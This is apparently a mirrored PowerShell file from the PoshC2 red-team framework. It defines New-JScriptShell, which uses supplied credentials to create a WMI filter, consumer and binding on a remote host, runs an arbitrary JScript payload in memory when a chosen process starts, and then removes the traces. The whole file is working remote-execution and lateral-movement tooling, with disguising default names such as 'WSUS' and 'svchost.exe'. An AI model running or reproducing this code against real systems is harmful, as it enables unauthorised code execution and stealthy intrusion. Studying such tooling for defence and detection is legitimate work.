mirror of
https://github.com/nettitude/PoshC2
synced 2026-06-08 16:22:47 +00:00
178 lines
6.7 KiB
PowerShell
178 lines
6.7 KiB
PowerShell
function New-JScriptShell {
|
|
<#
|
|
.SYNOPSIS
|
|
Deploy a wmi event subscription remotely, using the ActiveScriptEventConsumer
|
|
|
|
Author: Christopher Ross (@xorrior)
|
|
License: BSD 3-Clause
|
|
Required Dependencies: None
|
|
Optional Dependencies: None
|
|
|
|
.DESCRIPTION
|
|
This script can be used to remotely (or locally) deploy a wmi event subscription with an ActiveScriptEventConsumer. This is not a new technique
|
|
except for the fact that @tirannido recently released a really interesting method that would allow for dynamic loading of a csharp assembly entirely from memory within a jscript file.
|
|
We can use this technique to remotely deploy csharp assemblies without writing to disk (i.e. SharpPick for powershell, a shellcode loader, .etc). The trigger to deploy
|
|
this consumer is a Win32_ProcessStartTrace event for the process specified. Once the event has occurred, the JScript payload will be executed. All components of the Wmi subscription will
|
|
be cleaned up.
|
|
|
|
.PARAMETER Target
|
|
Host to target. Do not use for localhost.
|
|
|
|
.PARAMETER Domain
|
|
Domain for a PSCredential object to be used with the Set-WmiInstance cmdlet.
|
|
|
|
.PARAMETER Username
|
|
Username for a PSCredential object to be used with the Set-WmiInstance cmdlet.
|
|
|
|
.PARAMETER Password
|
|
The password for a PSCredential object to be used with the Set-WmiInstance cmdlet.
|
|
|
|
.PARAMETER ConsumerName
|
|
The name of the ActiveScriptEventConsumer
|
|
|
|
.PARAMETER FilterName
|
|
The name of the EventFilter
|
|
|
|
.PARAMETER JScriptPath
|
|
Path to the jscript file to use as the payload. If not used, the inline JScript payload will be used.
|
|
|
|
.PARAMETER ProcessName
|
|
Name of the process to execute and trigger the payload
|
|
|
|
.EXAMPLE
|
|
|
|
Execute the JScript payload on a remote host with 'notepad.exe' as the trigger process
|
|
|
|
New-JScriptShell -Target '192.168.1.7' -ProcessName 'notepad.exe'
|
|
|
|
.EXAMPLE
|
|
|
|
Execute the JScript payload from a file path on a remote host, with credentials, with 'calc.exe' as the trigger process.
|
|
|
|
New-JScriptShell -Target '192.168.1.7' -Domain Test -Username 'Administrator' -Password 'P@ssw0rd' -ProcessName 'scvhost.exe'
|
|
|
|
#>
|
|
[CmdletBinding(DefaultParameterSetName = 'None')]
|
|
param
|
|
(
|
|
[Parameter(Mandatory = $false, ValueFromPipeline = $true)]
|
|
[ValidateNotNullOrEmpty()]
|
|
[string]$Target,
|
|
|
|
[Parameter(Mandatory = $false)]
|
|
[ValidateNotNullOrEmpty()]
|
|
[string]$Domain,
|
|
|
|
[Parameter(Mandatory = $false, ParameterSetName = "Credentials")]
|
|
[ValidateNotNullOrEmpty()]
|
|
[string]$Username,
|
|
|
|
[Parameter(Mandatory = $false, ParameterSetName = "Credentials")]
|
|
[ValidateNotNullOrEmpty()]
|
|
[string]$Password,
|
|
|
|
[Parameter(Mandatory = $false)]
|
|
[ValidateNotNullOrEmpty()]
|
|
[string]$ConsumerName = 'WSUS',
|
|
|
|
[Parameter(Mandatory = $false)]
|
|
[ValidateNotNullOrEmpty()]
|
|
[string]$FilterName = 'WSUS',
|
|
|
|
[Parameter(Mandatory = $false)]
|
|
[ValidateNotNullOrEmpty()]
|
|
[ValidateScript({Test-Path -Path $_})]
|
|
[string]$JScriptPath,
|
|
|
|
[Parameter(Mandatory = $false)]
|
|
[ValidateNotNullOrEmpty()]
|
|
[string]$ProcessName = 'svchost.exe',
|
|
|
|
[Parameter(Mandatory = $false)]
|
|
[ValidateNotNullOrEmpty()]
|
|
[string]$Payload
|
|
)
|
|
$wmiArgs = @{}
|
|
$commonArgs = @{}
|
|
|
|
if ($Domain) {
|
|
$Username = $Domain + "\" + $Username
|
|
}
|
|
|
|
if ($Payload) {
|
|
$Payload = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($Payload))
|
|
}
|
|
|
|
#Assign credentials and computer name if used
|
|
if ($PSCmdlet.ParameterSetName -eq "Credentials" -and $PSBoundParameters['Target']) {
|
|
$securePassword = $Password | ConvertTo-SecureString -AsPlainText -Force
|
|
$commonArgs['Credential'] = New-Object System.Management.Automation.PSCredential $Username,$securePassword
|
|
}
|
|
|
|
if($PSBoundParameters['Target']) {
|
|
$commonArgs['ComputerName'] = $Target
|
|
}
|
|
|
|
if ($PSBoundParameters['JScriptPath']) {
|
|
$Payload = [System.IO.File]::ReadAllText($JScriptPath)
|
|
}
|
|
|
|
#setup the event filter
|
|
$Query = "SELECT * FROM Win32_ProcessStartTrace where processname ='$ProcessName'"
|
|
$EventFilterArgs = @{
|
|
EventNamespace = 'root/cimv2'
|
|
Name = $FilterName
|
|
Query = $Query
|
|
QueryLanguage = 'WQL'
|
|
}
|
|
|
|
echo "[*] Creating the WMI filter"
|
|
$Filter = Set-WmiInstance -Namespace root\subscription -Class __EventFilter -Arguments $EventFilterArgs @commonArgs
|
|
#setup the ActiveScriptEventConsumer
|
|
$ActiveScriptEventConsumerArgs = @{
|
|
Name = $ConsumerName
|
|
ScriptingEngine = 'JScript'
|
|
ScriptText = $Payload
|
|
}
|
|
Start-Sleep -Seconds 5
|
|
echo "[*] Creating the WMI consumer"
|
|
$Consumer = Set-WmiInstance -Namespace root\subscription -Class ActiveScriptEventConsumer -Arguments $ActiveScriptEventConsumerArgs @commonArgs
|
|
|
|
$FilterToConsumerArgs = @{
|
|
Filter = $Filter
|
|
Consumer = $Consumer
|
|
}
|
|
Start-Sleep -Seconds 5
|
|
echo "[*] Creating the WMI filter to consumer binding"
|
|
$FilterToConsumerBinding = Set-WmiInstance -Namespace root\subscription -Class __FilterToConsumerBinding -Arguments $FilterToConsumerArgs @commonArgs
|
|
|
|
echo "[+] Executing process trigger"
|
|
Start-Sleep -Seconds 5
|
|
$result = Invoke-WmiMethod -Class Win32_process -Name Create -ArgumentList "$ProcessName" @commonArgs
|
|
if ($result.returnValue -ne 0) {
|
|
echo "[-] Trigger process was not started"
|
|
break
|
|
}
|
|
|
|
Start-Sleep -Seconds 5
|
|
$EventConsumerToCleanup = Get-WmiObject -Namespace root\subscription -Class ActiveScriptEventConsumer -Filter "Name = '$ConsumerName'" @commonArgs
|
|
$EventFilterToCleanup = Get-WmiObject -Namespace root\subscription -Class __EventFilter -Filter "Name = '$FilterName'" @commonArgs
|
|
$FilterConsumerBindingToCleanup = Get-WmiObject -Namespace root\subscription -Query "REFERENCES OF {$($EventConsumerToCleanup.__RELPATH)} WHERE ResultClass = __FilterToConsumerBinding" @commonArgs
|
|
|
|
$EventConsumerToCleanup | Remove-WmiObject
|
|
$EventFilterToCleanup | Remove-WmiObject
|
|
$FilterConsumerBindingToCleanup | Remove-WmiObject
|
|
|
|
$OutputObject = New-Object -TypeName PSObject
|
|
$OutputObject | Add-Member -MemberType 'NoteProperty' -Name 'Target' -Value $Target
|
|
$OutputObject | Add-Member -MemberType 'NoteProperty' -Name 'FilterName' -Value $FilterName
|
|
$OutputObject | Add-Member -MemberType 'NoteProperty' -Name 'ConsumerName' -Value $ConsumerName
|
|
$OutputObject | Add-Member -MemberType 'NoteProperty' -Name 'ProcessTrigger' -Value $ProcessName
|
|
$OutputObject | Add-Member -MemberType 'NoteProperty' -Name 'Query' -Value $Query
|
|
|
|
$OutputObject
|
|
|
|
echo "[+] Cleaning up the subscriptions"
|
|
|
|
}
|